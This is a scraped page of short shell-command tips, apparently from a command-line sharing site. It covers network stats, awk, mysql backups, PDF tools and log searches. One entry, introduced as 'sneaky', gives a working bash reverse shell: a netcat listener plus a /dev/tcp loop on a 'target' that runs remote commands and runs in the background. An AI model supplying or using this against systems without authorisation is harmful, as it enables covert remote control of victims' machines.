Works on nearly all linux distros
poorman's ifstat using just sh and awk. You must change "eth0" with your interface's name. Show Sample Output
You can use multiple field separators by separating them with | (=or). This may be helpful when you want to split a string by two separators for example. #echo "one=two three" | awk -F "=| " {'print $1, $3'} one three
backup big mysql db to remote machine over ssh. "--skip-opt" option is needed when you can?t allocate full database in ram.
Best result when file size less than half of RAM size
This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Show Sample Output
Source: http://superuser.com/a/624574
Searches the /var/log/secure log file for Failed and/or invalid user log in attempts. Show Sample Output
require the pdftk package
The format is JJJJJ YR-MO-DA HH:MM:SS TT L DUT1 msADV UTC(NIST) OTM and is explained more fully here: http://tf.nist.gov/service/acts.htm Show Sample Output
It's works only when you replace '\n' to ONE character.
This command is much quicker than the alternative of "sort | uniq -c | sort -n". Show Sample Output
Uses the data in the /proc system, provided by the acpid, to find out the CPU temperature. Can be run on systems without lm-sensors installed as well. Show Sample Output
The command shows the real power of the pdftk tool, you can do basically everything you want with multiple pdf's. In the command a book is created from chapters, headings and covers.
1. Issue command 2. After angled bracket appears, enter file contents 3. When done, type "EOF"
Sometimes you don't want to leave history, because of passwords use or somethink like. I think it help.
* to get the English dictionary: wget http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt Show Sample Output
Securely stream a file from a remote server (and save it locally). Useful if you're impatient and want to watch a movie immediately and download it at the same time without using extra bandwidth. This is an extension of snipertyler's idea. Note: This command uses an encrypted connection, unlike the original. Show Sample Output
Sends the microphone input from PC1 to the speakers of PC2. Do the same in reverse to have an actual conversation ;) ... maybe with another port tough
commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.
Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.
» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10
Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):
Subscribe to the feed for: